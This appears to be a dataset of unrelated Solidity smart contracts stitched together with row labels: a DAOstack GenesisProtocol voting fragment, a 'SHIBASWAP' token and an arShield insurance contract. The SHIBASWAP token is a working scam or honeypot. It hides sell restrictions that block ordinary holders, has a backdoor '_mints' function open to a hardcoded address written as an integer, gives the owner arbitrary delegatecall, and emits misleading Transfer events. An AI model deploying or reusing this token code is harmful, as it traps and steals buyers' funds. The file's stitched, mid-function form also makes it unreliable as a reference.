Parameters memory params = parameters[proposals[_proposalId].paramsHash];
Proposal storage proposal = proposals[_proposalId];
uint256 reputation = VotingMachineCallbacksInterface(proposal.callbacks).reputationOf(_voter, _proposalId);
require(reputation > 0, "_voter must have reputation");
require(reputation >= _rep, "reputation >= _rep");
uint256 rep = _rep;
if (rep == 0) {
rep = reputation;
}
if (proposal.voters[_voter].reputation != 0) {
return false;
}
proposal.votes[_vote] = rep.add(proposal.votes[_vote]);
if ((proposal.votes[_vote] > proposal.votes[proposal.winningVote]) ||
((proposal.votes[NO] == proposal.votes[proposal.winningVote]) &&
proposal.winningVote == YES)) {
if (proposal.state == ProposalState.Boosted &&
((now - proposal.times[1]) >= (params.boostedVotePeriodLimit - params.quietEndingPeriod))||
proposal.state == ProposalState.QuietEndingPeriod) {
if (proposal.state != ProposalState.QuietEndingPeriod) {
proposal.currentBoostedVotePeriodLimit = params.quietEndingPeriod;
proposal.state = ProposalState.QuietEndingPeriod;
}
proposal.times[1] = now;
}
proposal.winningVote = _vote;
}
proposal.voters[_voter] = Voter({
reputation: rep,
vote: _vote,
preBoosted:((proposal.state == ProposalState.PreBoosted) || (proposal.state == ProposalState.Queued))
});
if ((proposal.state == ProposalState.PreBoosted) || (proposal.state == ProposalState.Queued)) {
proposal.preBoostedVotes[_vote] = rep.add(proposal.preBoostedVotes[_vote]);
uint256 reputationDeposit = (params.votersReputationLossRatio.mul(rep))/100;
VotingMachineCallbacksInterface(proposal.callbacks).burnReputation(reputationDeposit, _voter, _proposalId);
}
emit VoteProposal(_proposalId, organizations[proposal.organizationId], _voter, _vote, rep);
return _execute(_proposalId);
}
function _score(bytes32 _proposalId) internal view returns(uint256) {
Proposal storage proposal = proposals[_proposalId];
return uint216(proposal.stakes[YES]).fraction(uint216(proposal.stakes[NO]));
}
function _isVotable(bytes32 _proposalId) internal view returns(bool) {
ProposalState pState = proposals[_proposalId].state;
return ((pState == ProposalState.PreBoosted)||
(pState == ProposalState.Boosted)||
(pState == ProposalState.QuietEndingPeriod)||
(pState == ProposalState.Queued)
);
}
}
pragma solidity ^0.5.4;
contract GenesisProtocol is IntVoteInterface, GenesisProtocolLogic {
using ECDSA for bytes32;
bytes32 public constant DELEGATION_HASH_EIP712 =
keccak256(abi.encodePacked(
"address GenesisProtocolAddress",
"bytes32 ProposalId",
"uint256 Vote",
"uint256 AmountToStake",
"uint256 Nonce"
));
mapping(address=>uint256) public stakesNonce;
constructor(IERC20 _stakingToken)
public
GenesisProtocolLogic(_stakingToken) {
}
function stake(bytes32 _proposalId, uint256 _vote, uint256 _amount) external returns(bool) {
return _stake(_proposalId, _vote, _amount, msg.sender);
}
function stakeWithSignature(
bytes32 _proposalId,
uint256 _vote,
uint256 _amount,
uint256 _nonce,
uint256 _signatureType,
bytes calldata _signature
)
external
returns(bool)
{
bytes32 delegationDigest;
if (_signatureType == 2) {
delegationDigest = keccak256(
abi.encodePacked(
DELEGATION_HASH_EIP712, keccak256(
abi.encodePacked(
address(this),
_proposalId,
_vote,
_amount,
_nonce)
)
)
);
} else {
delegationDigest = keccak256(
abi.encodePacked(
address(this),
_proposalId,
_vote,
_amount,
_nonce)
).toEthSignedMessageHash();
}
address staker = delegationDigest.recover(_signature);
require(staker != address(0), "staker address cannot be 0");
require(stakesNonce[staker] == _nonce);
stakesNonce[staker] = stakesNonce[staker].add(1);
return _stake(_proposalId, _vote, _amount, staker);
}
function vote(bytes32 _proposalId, uint256 _vote, uint256 _amount, address _voter)
external
votable(_proposalId)
returns(bool) {
Proposal storage proposal = proposals[_proposalId];
Parameters memory params = parameters[proposal.paramsHash];
address voter;
if (params.voteOnBehalf != address(0)) {
require(msg.sender == params.voteOnBehalf);
voter = _voter;
} else {
voter = msg.sender;
}
return internalVote(_proposalId, voter, _vote, _amount);
}
function cancelVote(bytes32 _proposalId) external votable(_proposalId) {
return;
}
function execute(bytes32 _proposalId) external votable(_proposalId) returns(bool) {
return _execute(_proposalId);
}
function getNumberOfChoices(bytes32) external view returns(uint256) {
return NUM_OF_CHOICES;
}
function getProposalTimes(bytes32 _proposalId) external view returns(uint[3] memory times) {
return proposals[_proposalId].times;
}
function voteInfo(bytes32 _proposalId, address _voter) external view returns(uint, uint) {
Voter memory voter = proposals[_proposalId].voters[_voter];
return (voter.vote, voter.reputation);
}
function voteStatus(bytes32 _proposalId, uint256 _choice) external view returns(uint256) {
return proposals[_proposalId].votes[_choice];
}
function isVotable(bytes32 _proposalId) external view returns(bool) {
return _isVotable(_proposalId);
}
function proposalStatus(bytes32 _proposalId) external view returns(uint256, uint256, uint256, uint256) {
return (
proposals[_proposalId].preBoostedVotes[YES],
proposals[_proposalId].preBoostedVotes[NO],
proposals[_proposalId].stakes[YES],
proposals[_proposalId].stakes[NO]
);
}
function getProposalOrganization(bytes32 _proposalId) external view returns(bytes32) {
return (proposals[_proposalId].organizationId);
}
function getStaker(bytes32 _proposalId, address _staker) external view returns(uint256, uint256) {
return (proposals[_proposalId].stakers[_staker].vote, proposals[_proposalId].stakers[_staker].amount);
}
function voteStake(bytes32 _proposalId, uint256 _vote) external view returns(uint256) {
return proposals[_proposalId].stakes[_vote];
}
function winningVote(bytes32 _proposalId) external view returns(uint256) {
return proposals[_proposalId].winningVote;
}
function state(bytes32 _proposalId) external view returns(ProposalState) {
return proposals[_proposalId].state;
}
function isAbstainAllow() external pure returns(bool) {
return false;
}
function getAllowedRangeOfChoices() external pure returns(uint256 min, uint256 max) {
return (YES, NO);
}
function score(bytes32 _proposalId) public view returns(uint256) {
return _score(_proposalId);
}
}
pragma solidity ^0.5.4;
contract VotingMachineCallbacks is VotingMachineCallbacksInterface {
struct ProposalInfo {
uint256 blockNumber;
Avatar avatar;
}
modifier onlyVotingMachine(bytes32 _proposalId) {
require(proposalsInfo[msg.sender][_proposalId].avatar != Avatar(address(0)), "only VotingMachine");
_;
}
mapping(address => mapping(bytes32 => ProposalInfo)) public proposalsInfo;
function mintReputation(uint256 _amount, address _beneficiary, bytes32 _proposalId)
external
onlyVotingMachine(_proposalId)
returns(bool)
{
Avatar avatar = proposalsInfo[msg.sender][_proposalId].avatar;
if (avatar == Avatar(0)) {
return false;
}
return ControllerInterface(avatar.owner()).mintReputation(_amount, _beneficiary, address(avatar));
}
function burnReputation(uint256 _amount, address _beneficiary, bytes32 _proposalId)
external
onlyVotingMachine(_proposalId)
returns(bool)
{
Avatar avatar = proposalsInfo[msg.sender][_proposalId].avatar;
if (avatar == Avatar(0)) {
return false;
}
return ControllerInterface(avatar.owner()).burnReputation(_amount, _beneficiary, address(avatar));
}
function stakingTokenTransfer(
IERC20 _stakingToken,
address _beneficiary,
uint256 _amount,
bytes32 _proposalId)
external
onlyVotingMachine(_proposalId)
returns(bool)
{
Avatar avatar = proposalsInfo[msg.sender][_proposalId].avatar;
if (avatar == Avatar(0)) {
return false;
}
return ControllerInterface(avatar.owner()).externalTokenTransfer(_stakingToken, _beneficiary, _amount, avatar);
}
function balanceOfStakingToken(IERC20 _stakingToken, bytes32 _proposalId) external view returns(uint256) {
Avatar avatar = proposalsInfo[msg.sender][_proposalId].avatar;
if (proposalsInfo[msg.sender][_proposalId].avatar == Avatar(0)) {
return 0;
}
return _stakingToken.balanceOf(address(avatar));
}
function getTotalReputationSupply(bytes32 _proposalId) external view returns(uint256) {
ProposalInfo memory proposal = proposalsInfo[msg.sender][_proposalId];
if (proposal.avatar == Avatar(0)) {
return 0;
}
return proposal.avatar.nativeReputation().totalSupplyAt(proposal.blockNumber);
}
function reputationOf(address _owner, bytes32 _proposalId) external view returns(uint256) {
ProposalInfo memory proposal = proposalsInfo[msg.sender][_proposalId];
if (proposal.avatar == Avatar(0)) {
return 0;
}
return proposal.avatar.nativeReputation().balanceOfAt(_owner, proposal.blockNumber);
}
}
pragma solidity ^0.5.4;
contract GenericScheme is UniversalScheme, VotingMachineCallbacks, ProposalExecuteInterface {
event NewCallProposal(
address indexed _avatar,
bytes32 indexed _proposalId,
bytes _callData,
uint256 _value,
string _descriptionHash
);
event ProposalExecuted(
address indexed _avatar,
bytes32 indexed _proposalId,
bytes _genericCallReturnValue
);
event ProposalExecutedByVotingMachine(
address indexed _avatar,
bytes32 indexed _proposalId,
int256 _param
);
event ProposalDeleted(address indexed _avatar, bytes32 indexed _proposalId);
struct CallProposal {
bytes callData;
uint256 value;
bool exist;
bool passed;
}
mapping(address=>mapping(bytes32=>CallProposal)) public organizationsProposals;
struct Parameters {
IntVoteInterface intVote;
bytes32 voteParams;
address contractToCall;
}
mapping(bytes32=>Parameters) public parameters;
function executeProposal(bytes32 _proposalId, int256 _decision)
external
onlyVotingMachine(_proposalId)
returns(bool) {
Avatar avatar = proposalsInfo[msg.sender][_proposalId].avatar;
CallProposal storage proposal = organizationsProposals[address(avatar)][_proposalId];
require(proposal.exist, "must be a live proposal");
require(proposal.passed == false, "cannot execute twice");
if (_decision == 1) {
proposal.passed = true;
execute(avatar, _proposalId);
} else {
delete organizationsProposals[address(avatar)][_proposalId];
emit ProposalDeleted(address(avatar), _proposalId);
}
emit ProposalExecutedByVotingMachine(address(avatar), _proposalId, _decision);
return true;
}
function execute(Avatar _avatar, bytes32 _proposalId) public {
Parameters memory params = parameters[getParametersFromController(_avatar)];
CallProposal storage proposal = organizationsProposals[address(_avatar)][_proposalId];
require(proposal.exist, "must be a live proposal");
require(proposal.passed, "proposal must passed by voting machine");
proposal.exist = false;
bytes memory genericCallReturnValue;
bool success;
ControllerInterface controller = ControllerInterface(_avatar.owner());
(success, genericCallReturnValue) =
controller.genericCall(params.contractToCall, proposal.callData, _avatar, proposal.value);
if (success) {
delete organizationsProposals[address(_avatar)][_proposalId];
emit ProposalDeleted(address(_avatar), _proposalId);
emit ProposalExecuted(address(_avatar), _proposalId, genericCallReturnValue);
} else {
proposal.exist = true;
}
}
function setParameters(
bytes32 _voteParams,
IntVoteInterface _intVote,
address _contractToCall
) public returns(bytes32)
{
bytes32 paramsHash = getParametersHash(_voteParams, _intVote, _contractToCall);
parameters[paramsHash].voteParams = _voteParams;
parameters[paramsHash].intVote = _intVote;
parameters[paramsHash].contractToCall = _contractToCall;
return paramsHash;
}
function getParametersHash(
bytes32 _voteParams,
IntVoteInterface _intVote,
address _contractToCall
) public pure returns(bytes32)
{
return keccak256(abi.encodePacked(_voteParams, _intVote, _contractToCall));
}
function proposeCall(Avatar _avatar, bytes memory _callData, uint256 _value, string memory _descriptionHash)
public
returns(bytes32)
{
Parameters memory params = parameters[getParametersFromController(_avatar)];
IntVoteInterface intVote = params.intVote;
bytes32 proposalId = intVote.propose(2, params.voteParams, msg.sender, address(_avatar));
organizationsProposals[address(_avatar)][proposalId] = CallProposal({
callData: _callData,
value: _value,
exist: true,
passed: false
});
proposalsInfo[address(params.intVote)][proposalId] = ProposalInfo({
blockNumber:block.number,
avatar:_avatar
});
emit NewCallProposal(address(_avatar), proposalId, _callData, _value, _descriptionHash);
return proposalId;
}
function getContractToCall(Avatar _avatar) public view returns(address) {
return parameters[getParametersFromController(_avatar)].contractToCall;
}
} | 0 | 757 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract SHIBASWAP {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1132167815322823072539476364451924570945755492656));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 2,432 |
pragma solidity 0.8.4;
interface IOracle {
function getTokensOwed(uint256 ethOwed, address pToken, address uTokenLink) external view returns (uint256);
function getEthOwed(uint256 tokensOwed, address pToken, address uTokenLink) external view returns (uint256);
}
pragma solidity 0.8.4;
interface ICovBase {
function editShield(address shield, bool active) external;
function updateShield(uint256 ethValue) external payable;
function checkCoverage(uint256 pAmount) external view returns (bool);
function getShieldOwed(address shield) external view returns (uint256);
}
pragma solidity 0.8.4;
interface IController {
function bonus() external view returns (uint256);
function refFee() external view returns (uint256);
function governor() external view returns (address);
function depositAmt() external view returns (uint256);
function beneficiary() external view returns (address payable);
}
pragma solidity 0.8.4;
interface IArmorToken {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function mint(address to, uint256 amount) external returns (bool);
function burn(uint256 amount) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function balanceOfAt(address account, uint256 blockNo) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.8.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity 0.8.4;
contract arShield {
uint256 constant DENOMINATOR = 10000;
bool public capped;
bool public locked;
uint256 public limit;
address payable public beneficiary;
address public depositor;
uint256 public payoutAmt;
uint256 public payoutBlock;
uint256 public refTotal;
uint256[] public feesToLiq;
uint256[] public feePerBase;
uint256 public totalTokens;
mapping (address => uint256) public refBals;
mapping (uint256 => mapping (address => uint256)) public paid;
address public uTokenLink;
IERC20 public pToken;
IOracle public oracle;
IArmorToken public arToken;
ICovBase[] public covBases;
IController public controller;
event Unlocked(uint256 timestamp);
event Locked(address reporter, uint256 timestamp);
event HackConfirmed(uint256 payoutBlock, uint256 timestamp);
event Mint(address indexed user, uint256 amount, uint256 timestamp);
event Redemption(address indexed user, uint256 amount, uint256 timestamp);
modifier onlyGov
{
require(msg.sender == controller.governor(), "Only governance may call this function.");
_;
}
modifier isLocked
{
require(locked, "You may not do this while the contract is unlocked.");
_;
}
modifier notLocked
{
require(!locked, "You may not do this while the contract is locked.");
_;
}
modifier withinLimits
{
_;
uint256 _limit = limit;
require(_limit == 0 || pToken.balanceOf( address(this) ) <= _limit, "Too much value in the shield.");
}
receive() external payable {}
function initialize(
address _oracle,
address _pToken,
address _arToken,
address _uTokenLink,
uint256[] calldata _fees,
address[] calldata _covBases
)
external
{
require(address(arToken) == address(0), "Contract already initialized.");
uTokenLink = _uTokenLink;
pToken = IERC20(_pToken);
oracle = IOracle(_oracle);
arToken = IArmorToken(_arToken);
controller = IController(msg.sender);
beneficiary = controller.beneficiary();
require(_covBases.length == _fees.length, "Improper length array.");
for(uint256 i = 0; i < _covBases.length; i++) {
covBases.push( ICovBase(_covBases[i]) );
feePerBase.push(_fees[i]);
feesToLiq.push(0);
}
}
function mint(
uint256 _pAmount,
address _referrer
)
external
notLocked
withinLimits
{
address user = msg.sender;
(
uint256 fee,
uint256 refFee,
uint256 totalFees,
uint256[] memory newFees
) = _findFees(_pAmount);
uint256 arAmount = arValue(_pAmount - fee);
pToken.transferFrom(user, address(this), _pAmount);
_saveFees(newFees, _referrer, refFee);
if (capped) {
uint256 ethValue = getEthValue(pToken.balanceOf( address(this) ) - totalFees);
require(checkCapped(ethValue), "Not enough coverage available.");
for (uint256 i = 0; i < covBases.length; i++) covBases[i].updateShield(ethValue);
}
arToken.mint(user, arAmount);
emit Mint(user, arAmount, block.timestamp);
}
function redeem(
uint256 _arAmount,
address _referrer
)
external
{
address user = msg.sender;
uint256 pAmount = pValue(_arAmount);
arToken.transferFrom(user, address(this), _arAmount);
arToken.burn(_arAmount);
(
uint256 fee,
uint256 refFee,
uint256 totalFees,
uint256[] memory newFees
) = _findFees(pAmount);
pToken.transfer(user, pAmount - fee);
_saveFees(newFees, _referrer, refFee);
uint256 ethValue = getEthValue(pToken.balanceOf( address(this) ) - totalFees);
for (uint256 i = 0; i < covBases.length; i++) covBases[i].updateShield(ethValue);
emit Redemption(user, _arAmount, block.timestamp);
}
function liquidate(
uint256 _covId
)
external
payable
{
(
uint256 ethOwed,
uint256 tokensOwed,
uint256 tokenFees
) = liqAmts(_covId);
require(msg.value <= ethOwed, "Too much Ether paid.");
(
uint256 tokensOut,
uint256 feesPaid,
uint256 ethValue
) = payAmts(
msg.value,
ethOwed,
tokensOwed,
tokenFees
);
covBases[_covId].updateShield{value:msg.value}(ethValue);
feesToLiq[_covId] -= feesPaid;
pToken.transfer(msg.sender, tokensOut);
}
function claim()
external
isLocked
{
uint256 balance = arToken.balanceOfAt(msg.sender, payoutBlock);
uint256 owedBal = balance - paid[payoutBlock][msg.sender];
uint256 amount = payoutAmt
* owedBal
/ 1 ether;
require(balance > 0 && amount > 0, "Sender did not have funds on payout block.");
paid[payoutBlock][msg.sender] += owedBal;
payable(msg.sender).transfer(amount);
}
function withdraw(
address _user
)
external
{
uint256 balance = refBals[_user];
refBals[_user] = 0;
pToken.transfer(_user, balance);
}
function pValue(
uint256 _arAmount
)
public
view
returns (
uint256 pAmount
)
{
uint256 totalSupply = arToken.totalSupply();
if (totalSupply == 0) return _arAmount;
pAmount = ( pToken.balanceOf( address(this) ) - totalFeeAmts() )
* _arAmount
/ totalSupply;
}
function arValue(
uint256 _pAmount
)
public
view
returns (
uint256 arAmount
)
{
uint256 balance = pToken.balanceOf( address(this) );
if (balance == 0) return _pAmount;
arAmount = arToken.totalSupply()
* _pAmount
/ ( balance - totalFeeAmts() );
}
function liqAmts(
uint256 _covId
)
public
view
returns(
uint256 ethOwed,
uint256 tokensOwed,
uint256 tokenFees
)
{
ethOwed = covBases[_covId].getShieldOwed( address(this) );
if (ethOwed > 0) tokensOwed = oracle.getTokensOwed(ethOwed, address(pToken), uTokenLink);
tokenFees = feesToLiq[_covId];
require(tokensOwed + tokenFees > 0, "No fees are owed.");
uint256 ethFees = ethOwed > 0 ?
ethOwed
* tokenFees
/ tokensOwed
: getEthValue(tokenFees);
ethOwed += ethFees;
tokensOwed += tokenFees;
uint256 liqBonus = tokensOwed
* controller.bonus()
/ DENOMINATOR;
tokensOwed += liqBonus;
}
function payAmts(
uint256 _ethIn,
uint256 _ethOwed,
uint256 _tokensOwed,
uint256 _tokenFees
)
public
view
returns(
uint256 tokensOut,
uint256 feesPaid,
uint256 ethValue
)
{
tokensOut = _ethIn
* _tokensOwed
/ _ethOwed;
feesPaid = _ethIn
* _tokenFees
/ _ethOwed;
ethValue = (pToken.balanceOf( address(this) )
- totalFeeAmts())
* _ethOwed
/ _tokensOwed;
}
function totalFeeAmts()
public
view
returns(
uint256 totalOwed
)
{
for (uint256 i = 0; i < covBases.length; i++) {
uint256 ethOwed = covBases[i].getShieldOwed( address(this) );
if (ethOwed > 0) totalOwed += oracle.getTokensOwed(ethOwed, address(pToken), uTokenLink);
totalOwed += feesToLiq[i];
}
totalOwed += refTotal;
}
function checkCapped(
uint256 _ethValue
)
public
view
returns(
bool allowed
)
{
if (capped) {
for(uint256 i = 0; i < covBases.length; i++) {
if( !covBases[i].checkCoverage(_ethValue) ) return false;
}
}
allowed = true;
}
function getEthValue(
uint256 _pAmount
)
public
view
returns(
uint256 ethValue
)
{
ethValue = oracle.getEthOwed(_pAmount, address(pToken), uTokenLink);
}
function findFeePct()
external
view
returns(
uint256 percent
)
{
uint256 end = feePerBase.length;
for (uint256 i = 0; i < end; i++) percent += feePerBase[i];
percent += controller.refFee()
* percent
/ DENOMINATOR;
}
function _findFees(
uint256 _pAmount
)
internal
view
returns(
uint256 userFee,
uint256 refFee,
uint256 totalFees,
uint256[] memory newFees
)
{
newFees = feesToLiq;
for (uint256 i = 0; i < newFees.length; i++) {
totalFees += newFees[i];
uint256 fee = _pAmount
* feePerBase[i]
/ DENOMINATOR;
newFees[i] += fee;
userFee += fee;
}
refFee = userFee
* controller.refFee()
/ DENOMINATOR;
userFee += refFee;
totalFees += userFee + refTotal;
}
function _saveFees(
uint256[] memory liqFees,
address _referrer,
uint256 _refFee
)
internal
{
refTotal += _refFee;
if ( _referrer != address(0) ) refBals[_referrer] += _refFee;
else refBals[beneficiary] += _refFee;
for (uint256 i = 0; i < liqFees.length; i++) feesToLiq[i] = liqFees[i];
}
function notifyHack()
external
payable
notLocked
{
require(msg.value == controller.depositAmt(), "You must pay the deposit amount to notify a hack.");
depositor = msg.sender;
locked = true;
emit Locked(msg.sender, block.timestamp);
}
function confirmHack(
uint256 _payoutBlock,
uint256 _payoutAmt
)
external
isLocked
onlyGov
{
payable(depositor).call{value: controller.depositAmt()}("");
delete depositor;
payoutBlock = _payoutBlock;
payoutAmt = _payoutAmt;
emit HackConfirmed(_payoutBlock, block.timestamp);
}
function unlock()
external
isLocked
onlyGov
{
locked = false;
delete payoutBlock;
delete payoutAmt;
emit Unlocked(block.timestamp);
}
function withdrawExcess(address _token)
external
notLocked
{
if ( _token == address(0) ) beneficiary.transfer( address(this).balance );
else if ( _token != address(pToken) ) {
IERC20(_token).transfer( beneficiary, IERC20(_token).balanceOf( address(this) ) );
}
}
function banPayouts(
uint256 _payoutBlock,
address[] calldata _users,
uint256[] calldata _amounts
)
external
onlyGov
{
for (uint256 i = 0; i < _users.length; i++) paid[_payoutBlock][_users[i]] += _amounts[i];
}
function changeFees(
uint256[] calldata _newFees
)
external
onlyGov
{
require(_newFees.length == feePerBase.length, "Improper fees length.");
for (uint256 i = 0; i < _newFees.length; i++) feePerBase[i] = _newFees[i];
}
function changeBeneficiary(
address payable _beneficiary
)
external
onlyGov
{
beneficiary = _beneficiary;
}
function changeCapped(
bool _capped
)
external
onlyGov
{
capped = _capped;
}
function changeLimit(
uint256 _limit
)
external
onlyGov
{
limit = _limit;
}
